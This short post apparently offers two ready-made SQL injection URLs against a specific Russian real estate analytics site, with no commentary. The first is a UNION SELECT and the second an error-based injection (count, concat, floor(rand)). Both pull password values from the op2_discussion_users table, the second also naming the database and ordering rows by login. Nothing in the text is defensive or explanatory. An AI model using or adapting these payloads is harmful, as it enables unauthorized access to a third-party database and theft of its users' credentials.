Code:
http://realtyvision.ru/analytics/?id_group=1+union+%20SELECT%20password%20FROM%20%60op2_discussion_users%60%20WHERE%20%60id%60=1+--+

Code:
http://realtyvision.ru/analytics/?id_group=1+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28op2_discussion_users.password+as+char%29%29%29%2C0x27%2C0x7e%29+FROM+%60u68468%60.op2_discussion_users+Order+by+login+LIMIT+5%2C1%29+%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+1%3D1